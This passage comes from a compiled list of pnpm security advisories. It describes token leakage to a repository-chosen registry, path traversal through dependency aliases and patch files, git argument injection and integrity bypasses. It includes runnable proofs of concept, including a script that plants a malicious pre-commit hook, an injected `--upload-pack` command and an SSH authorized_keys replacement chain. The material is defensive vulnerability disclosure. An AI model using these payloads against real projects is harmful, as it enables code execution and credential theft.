allow overwriting or republishing the same version - registry mirrors or proxies that can serve changed metadata and tarballs - compromised public or private registries - compromised registry proxy infrastructure The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair. This issue does not occur when `--frozen-lockfile` is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content. However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version. For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile. ##### Comparison In the same scenario, `npm install` with an existing `package-lock.json` fails with `EINTEGRITY` and does not install the changed tarball. `pnpm install --frozen-lockfile` also fails as expected: ```text ERR_PNPM_TARBALL_INTEGRITY ``` The issue is specific to the default non-frozen behavior of plain `pnpm install` in non-CI environment. #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-54hh-g5mx-jqcp](https://github.com/pnpm/pnpm/security/advisories/GHSA-54hh-g5mx-jqcp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50573](https://nvd.nist.gov/vuln/detail/CVE-2026-50573) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-54hh-g5mx-jqcp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm binds unscoped user-level npm auth credentials to a repository-selected registry [CVE-2026-50017](https://nvd.nist.gov/vuln/detail/CVE-2026-50017) / [GHSA-cjhr-43r9-cfmw](https://github.com/advisories/GHSA-cjhr-43r9-cfmw) <details> <summary>More information</summary> #### Details ##### Summary pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file. In the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header. This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used. ##### Affected Behavior Observed Observed affected: - pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay. Control: - npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry. ##### Threat Model Victim: - developer or CI job with user-level npm registry credentials configured; - runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository. Attacker: - controls repository-local package manager configuration, such as `.npmrc`; - can set `registry=` to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case. Boundary: Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry. ##### Minimal Reproduction The reproducer below starts two loopback HTTP registries: - a trusted registry URL used in the isolated user `.npmrc`; - an attacker registry URL used in the repository-local `.npmrc`. The isolated user `.npmrc` contains: ```ini registry=<trusted-loopback-registry> _authToken=PR166_FAKE_REGISTRY_TOKEN ``` The repository-local `.npmrc` contains: ```ini registry=<attacker-loopback-registry> ``` The repository `package.json` depends on a toy package served by the loopback registry. The script then runs: ```text pnpm install --ignore-scripts npm install --ignore-scripts ``` ##### Expected Safe Behavior pnpm should not send the user-level unscoped `_authToken` to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry. ##### Observed Behavior pnpm `10.33.2`, pnpm `11.1.3`, and pnpm `11.2.1` send: ```http Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN ``` to the attacker loopback registry during install. npm `10.9.7` rejects the same config and sends no `Authorization` header. ##### Security Impact This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution. ##### Non-Claims This report does not claim: - remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line. ##### Source-Level Notes In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local `.npmrc` can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice. ##### Suggested Fix Direction The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials. This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth. ##### Runnable Reproducer Save the following as `repro.py` and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set `PR166_PNPM_SPEC`, for example `PR166_PNPM_SPEC=11.2.1`. ```python import base64 import contextlib import hashlib import http.server import io import json import os import shutil import subprocess import sys import tarfile import tempfile import threading from pathlib import Path """Standalone loopback reproducer. It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()). """ TOKEN = "PR166_FAKE_REGISTRY_TOKEN" PACKAGE_TGZ = None class RegistryHandler(http.server.BaseHTTPRequestHandler): requests = [] def do_GET(self): self.requests.append( { "method": self.command, "path": self.path, "authorization": self.headers.get("Authorization"), } ) if self.path.endswith(".tgz"): payload = make_package_tgz() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(payload))) self.end_headers() self.wfile.write(payload) return payload = make_package_tgz() body = json.dumps( { "name": "@&#8203;private/probe", "dist-tags": {"latest": "1.0.0"}, "versions": { "1.0.0": { "name": "@&#8203;private/probe", "version": "1.0.0", "dist": { "tarball": f"http://127.0.0.1:{self.server.server_port}/private/@&#8203;private/probe/-/probe-1.0.0.tgz", "shasum": hashlib.sha1(payload).hexdigest(), "integrity": "sha512-" + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"), }, } }, } ).encode("utf-8") self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): return @&#8203;contextlib.contextmanager def registry(): handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []}) server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() try: yield server, handler.requests finally: server.shutdown() thread.join(timeout=5) server.server_close() def make_package_tgz(): global PACKAGE_TGZ if PACKAGE_TGZ is not None: return PACKAGE_TGZ bio = io.BytesIO() with tarfile.open(fileobj=bio, mode="w:gz") as tf: data = b'{"name":"@&#8203;private/probe","version":"1.0.0"}\n' info = tarfile.TarInfo("package/package.json") info.size = len(data) tf.addfile(info, io.BytesIO(data)) PACKAGE_TGZ = bio.getvalue() return PACKAGE_TGZ def write_text(path, text): path.parent.mkdir(parents=True, exist_ok=True) path.write_text(text, encoding="utf-8", newline="\n") def run_install(tool, trusted_url, attacker_url): exe = shutil.which(tool) if exe is None: return {"tool": tool, "error": "missing"} cmd = [exe, "install", "--ignore-scripts"] if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"): corepack = shutil.which("corepack") if corepack is None: return {"tool": tool, "error": "corepack missing"} cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"] with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td: root = Path(td) home = root / "home" project = root / "project" home.mkdir() project.mkdir() userconfig = home / ".npmrc" write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n") write_text(project / ".npmrc", f"registry={attacker_url}\n") write_text( project / "package.json", '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@&#8203;private/probe":"1.0.0"}}\n', ) env = os.environ.copy() env.update( { "HOME": str(home), "USERPROFILE": str(home), "NPM_CONFIG_USERCONFIG": str(userconfig), "npm_config_userconfig": str(userconfig), "NPM_CONFIG_CACHE": str(home / "cache"), "npm_config_cache": str(home / "cache"), "NPM_CONFIG_STORE_DIR": str(home / "store"), "npm_config_store_dir": str(home / "store"), "XDG_CACHE_HOME": str(home / "xdg-cache"), "XDG_DATA_HOME": str(home / "xdg-data"), "NO_COLOR": "1", } ) proc = subprocess.run( cmd, cwd=str(project), env=env, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=60, ) return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]} def summarize(tool, result, attacker_requests): auth_hits = [r for r in attacker_requests if r.get("authorization")] return { "tool": tool, "result": result, "attacker_auth_hits": auth_hits, "attacker_request_count": len(attacker_requests), } def tool_version(tool): exe = shutil.which(tool) if exe is None: return "missing" cmd = [exe, "--version"] if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"): corepack = shutil.which("corepack") if corepack is None: return "corepack missing" cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"] proc = subprocess.run( cmd, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=20, ) return proc.stdout.strip() or f"exit-{proc.returncode}" def main(): pnpm_version = tool_version("pnpm") npm_version = tool_version("npm") print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}") if pnpm_version == "missing" or npm_version == "missing": print("CHECK environment_has_pnpm_and_npm result=fail") return 1 print("ENVIRONMENT_READY") overall = [] with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests): trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/" attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/" before = len(attacker_requests) pnpm_result = run_install("pnpm", trusted_url, attacker_url) pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:]) overall.append(pnpm_summary) before = len(attacker_requests) npm_result = run_install("npm", trusted_url, attacker_url) npm_summary = summarize("npm", npm_result, attacker_requests[before:]) overall.append(npm_summary) print(json.dumps(overall, indent=2)) pnpm_leaked = bool(overall[0]["attacker_auth_hits"]) npm_leaked = bool(overall[1]["attacker_auth_hits"]) print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}") print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}") print( "COMMAND_EXIT_CODE=" f"pnpm:{overall[0]['result'].get('returncode', 'missing')} " f"npm:{overall[1]['result'].get('returncode', 'missing')}" ) if pnpm_leaked and not npm_leaked: print("CHECK pnpm_leaked=true npm_control_held=true result=pass") print("VULNERABLE_BEHAVIOR_CONFIRMED") print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD") print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED") return 0 if pnpm_leaked and npm_leaked: print("CHECK pnpm_leaked=true npm_control_held=false result=fail") print("RESULT_BOTH_TOOLS_SENT_AUTH") return 2 print("CHECK pnpm_leaked=false result=fail") print("RESULT_NO_PNPM_AUTH_LEAK") return 1 if __name__ == "__main__": sys.exit(main()) ``` ##### Abbreviated Expected Output ```text TARGET_VERSION=pnpm 11.2.1; npm 10.9.7 ENVIRONMENT_READY ... OBSERVED_PNPM_AUTH_HITS=3 OBSERVED_NPM_AUTH_HITS=0 COMMAND_EXIT_CODE=pnpm:0 npm:1 CHECK pnpm_leaked=true npm_control_held=true result=pass VULNERABLE_BEHAVIOR_CONFIRMED RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED ``` Reporter: JUNYI LIU #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-cjhr-43r9-cfmw](https://github.com/pnpm/pnpm/security/advisories/GHSA-cjhr-43r9-cfmw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50017](https://nvd.nist.gov/vuln/detail/CVE-2026-50017) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-cjhr-43r9-cfmw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement [CVE-2026-50016](https://nvd.nist.gov/vuln/detail/CVE-2026-50016) / [GHSA-hwx4-2j3j-g496](https://github.com/advisories/GHSA-hwx4-2j3j-g496) <details> <summary>More information</summary> #### Details ##### Summary pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories. `.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example: - `.husky` or `.githooks` for Git hook dispatchers - `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands - `.github/actions/<name>` for local GitHub Actions used later in the workflow - `dist/` or other publish/build output directories before `pnpm pack` or `pnpm publish` - `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later command or module resolution Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation. This was reproduced with `pnpm@11.2.1`. ##### Impact Users often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command. Examples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`. ##### Root Cause pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory. Conceptually, a transitive alias like this: ```json { "@&#8203;x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` is eventually treated like: ```text path.join(parentPackageNodeModulesDir, "@&#8203;x/../../../../../.git/hooks") ``` The normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory. The dependency chain is: ```text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias ``` The malicious transitive package metadata contains: ```json { "@&#8203;x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency. ##### Proof Of Concept Run: ```sh ./run.sh ``` ``` sh #!/bin/sh set -eu SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPT_DIR/demo-workdir" REGISTRY_DIR="$WORKDIR/registry" TARBALLS_DIR="$REGISTRY_DIR/tarballs" VICTIM_DIR="$WORKDIR/victim" READY_FILE="$WORKDIR/registry-ready" PORT_FILE="$WORKDIR/registry-port" rm -rf "$WORKDIR" mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR" cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit" cat > "$REGISTRY_DIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@&#8203;x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON cat > "$REGISTRY_DIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON (cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:child_process') const [registryDir, readyFile, portFile] = process.argv.slice(2) const tarballsDir = path.join(registryDir, 'tarballs') function shasum (filename) { return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)]) .toString() .trim() .split(/\s+/) .pop() } function integrity (filename) { return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)]) .toString('base64') } function packument (pkgName, req) { const filename = `${pkgName}-1.0.0.tgz` const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8')) const origin = `http://${req.headers.host}` return { name: pkgName, 'dist-tags': { latest: '1.0.0', }, versions: { '1.0.0': { ...manifest, dist: { tarball: `${origin}/${pkgName}/-/${filename}`, shasum: shasum(filename), integrity: integrity(filename), }, }, }, } } const server = http.createServer((req, res) => { const pathname = new URL(req.url, 'http://local.invalid').pathname if (req.method !== 'GET') { res.writeHead(405) res.end('method not allowed') return } if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') { const pkgName = pathname.slice(1) res.writeHead(200, { 'content-type': 'application/json' }) res.end(JSON.stringify(packument(pkgName, req))) return } const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/) if (tarballMatch) { const file = path.join(tarballsDir, tarballMatch[2]) res.writeHead(200, { 'content-type': 'application/octet-stream' }) fs.createReadStream(file).pipe(res) return } res.writeHead(404) res.end('not found') }) server.listen(0, '127.0.0.1', () => { fs.writeFileSync(portFile, String(server.address().port)) fs.writeFileSync(readyFile, 'ready') }) NODE REGISTRY_PID=$! trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM WAIT_COUNT=0 while [ ! -f "$READY_FILE" ]; do WAIT_COUNT=$((WAIT_COUNT + 1)) if [ "$WAIT_COUNT" -gt 100 ]; then echo "local registry did not start" >&2 exit 1 fi sleep 0.05 done REGISTRY_PORT=$(cat "$PORT_FILE") cd "$VICTIM_DIR" git init -q git config user.email demo@example.invalid git config user.name "Demo User" cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON cat > .npmrc <<EOF registry=http://127.0.0.1:$REGISTRY_PORT/ EOF printf 'pnpm: ' pnpm --version printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT" printf 'victim: %s\n\n' "$VICTIM_DIR" pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent echo 'trigger commit' > change.txt git add change.txt set +e COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null) COMMIT_STATUS=$? set -e printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS" printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR" ``` The script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`. Requirements: ```text pnpm npm node git openssl ``` Expected output: ```text git commit exit code: 0 git commit stderr: PWNED ``` `PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496](https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50016](https://nvd.nist.gov/vuln/detail/CVE-2026-50016) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hwx4-2j3j-g496) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Git Fetch Argument Injection via Lockfile resolution.commit [CVE-2026-50014](https://nvd.nist.gov/vuln/detail/CVE-2026-50014) / [GHSA-p4xf-rf54-rj3x](https://github.com/advisories/GHSA-p4xf-rf54-rj3x) <details> <summary>More information</summary> #### Details ##### Summary pnpm passes the lockfile-controlled git `resolution.commit` value to `git fetch` without a `--` separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as `--upload-pack=<command>`. For SSH and local transports, `--upload-pack` can execute the supplied command. HTTPS transports ignore `--upload-pack`, so the practical attack surface is primarily SSH or local git dependencies. ##### Vulnerability Details The vulnerable path is in `fetching/git-fetcher/src/index.ts`. When a git dependency host is configured for shallow fetching, pnpm calls: ```typescript await execGit(['fetch', '--depth', '1', 'origin', resolution.commit], { cwd: tempLocation }) ``` Because `resolution.commit` is appended before a `--` separator, Git can parse a commit value beginning with `-` as an option. The same file later passes the value to `git checkout` without a separator: ```typescript await execGit(['checkout', resolution.commit], { cwd: tempLocation }) ``` `resolution.commit` comes from the lockfile and is typed as a plain `string`; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git. ##### Proof of Concept ```bash bash autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh ##### Creates a local bare git repo and triggers the shallow-fetch path. ##### Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11_pwned'. ##### Result: PASS -- /tmp/vuln11_pwned created by injected touch command. ``` The PoC uses a local `file://githost/...` repository because the injection requires a local or SSH transport. HTTPS transport ignores `--upload-pack`. ##### Impact Code execution as the user running `pnpm install`, under specific transport conditions. The attacker must modify `pnpm-lock.yaml`, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune. ##### Suggested Remediation Add a `--` separator before lockfile-controlled git revision values. Validate `resolution.commit` matches `/^[0-9a-f]{40}$/i` before passing to Git. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh) #### Severity - CVSS Score: 6.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-p4xf-rf54-rj3x](https://github.com/pnpm/pnpm/security/advisories/GHSA-p4xf-rf54-rj3x) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50014](https://nvd.nist.gov/vuln/detail/CVE-2026-50014) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p4xf-rf54-rj3x) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm Vulnerable to Arbitrary File Write/Delete via Malicious Patch File (Path Traversal) [CVE-2026-50015](https://nvd.nist.gov/vuln/detail/CVE-2026-50015) / [GHSA-rxhj-4m44-96r4](https://github.com/advisories/GHSA-rxhj-4m44-96r4) <details> <summary>More information</summary> #### Details ##### Summary pnpm's patch application pipeline (`@pnpm/patch-package`) performs no path validation on file paths extracted from `.patch` files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during `pnpm install`, as the user running the install. The `diff --git` header paths containing `../../` sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers. ##### Vulnerability Details During `pnpm install`, when a `patchedDependencies` entry is present in `pnpm-workspace.yaml`, pnpm reads the referenced `.patch` file and applies it via the embedded `@pnpm/patch-package` library. The `applyPatchToDir` function at `patching/apply-patch/src/index.ts:12-13` calls `process.chdir(opts.patchedDir)`, setting the working directory to the installed package location deep inside `node_modules/.pnpm/`. The patch parser at `@pnpm/patch-package/dist/patch/parse.js:88` extracts file paths from `diff --git a/(.*?) b/(.*?)` headers using a regex with no path sanitization. The `executeEffects` function in `apply.js` then operates on these unsanitized paths: **File write** (`apply.js:35-49`): ```javascript case 'file creation': { const eff = effect fs.ensureDirSync(dirname(eff.path)) fs.writeFileSync(eff.path, fileContents, { mode: eff.mode }) break } ``` **File delete** (`apply.js:13-22`): ```javascript case 'file deletion': { const eff = effect // TODO: integrity checks if (!opts.dryRun) { fs.unlinkSync(eff.path) } break } ``` A path like `../../../../../../../../../../home/user/.ssh/authorized_keys` in the patch header traverses out of the package directory to an arbitrary location. ##### Proof of Concept ```bash ##### Write variant: bash autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh ##### Result: PASS -- /tmp/vuln6_pwned created with attacker-controlled content ##### Delete variant: bash autofyn_audit/exploits/vuln7_patch_traversal_delete/exploit.sh ##### Result: PASS -- /tmp/vuln7_target deleted by malicious patch ##### Combined chain (delete + replace SSH authorized_keys): bash autofyn_audit/exploits/chain2_patch_ssh_backdoor/exploit.sh ##### Result: PASS -- authorized_keys replaced with attacker's public key ``` ##### Impact Arbitrary file write and delete as the user running `pnpm install`, limited to paths writable by that user. An attacker who submits a PR adding a `.patch` file and `patchedDependencies` config can target SSH authorized_keys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than `package.json` changes because the `../` traversal sequences are in `diff --git` headers that look like patch metadata. ##### Suggested Remediation Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via `path.resolve` + prefix check. Alternatively, sanitize at parse time by rejecting paths containing `..` components in `parse.js`. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh) #### Severity - CVSS Score: 7.3 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-rxhj-4m44-96r4](https://github.com/pnpm/pnpm/security/advisories/GHSA-rxhj-4m44-96r4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50015](https://nvd.nist.gov/vuln/detail/CVE-2026-50015) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rxhj-4m44-96r4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm Has an Integrity Check Bypass via Missing Lockfile Integrity Field [CVE-2026-50021](https://nvd.nist.gov/vuln/detail/CVE-2026-50021) / [GHSA-q6j5-fjx5-2mc3](https://github.com/advisories/GHSA-q6j5-fjx5-2mc3) <details> <summary>More information</summary> #### Details ##### Summary pnpm's tarball extraction worker skips integrity verification when the `integrity` field is absent from the lockfile resolution. If an attacker can both modify `pnpm-lock.yaml` to remove the `integrity:` field and cause the referenced registry URL to serve altered package content, `pnpm install --frozen-lockfile` can install the altered package without an integrity error. npm's `npm ci` enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap. ##### Vulnerability Details The `addTarballToStore` function in `worker/src/start.ts` (lines 189-204) checks `if (integrity)` before verifying the tarball hash. The `TarballResolution` type declares `integrity` as optional (`integrity?: string`). When the lockfile omits the `integrity` field, the guard evaluates to `false`, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate. ```typescript // worker/src/start.ts:189-204 function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) { if (integrity) { // false when integrity is undefined const { algorithm, hexDigest } = parseIntegrity(integrity) const calculatedHash = crypto.hash(algorithm, buffer, 'hex') if (calculatedHash !== hexDigest) { return { status: 'error', error: { type: 'integrity_validation_failed', ... } } } } return { status: 'success', value: { integrity: integrity ?? calcIntegrity(buffer) }, } } ``` ##### Proof of Concept ```bash bash autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh ##### Publishes a package, generates lockfile, republishes tampered version, 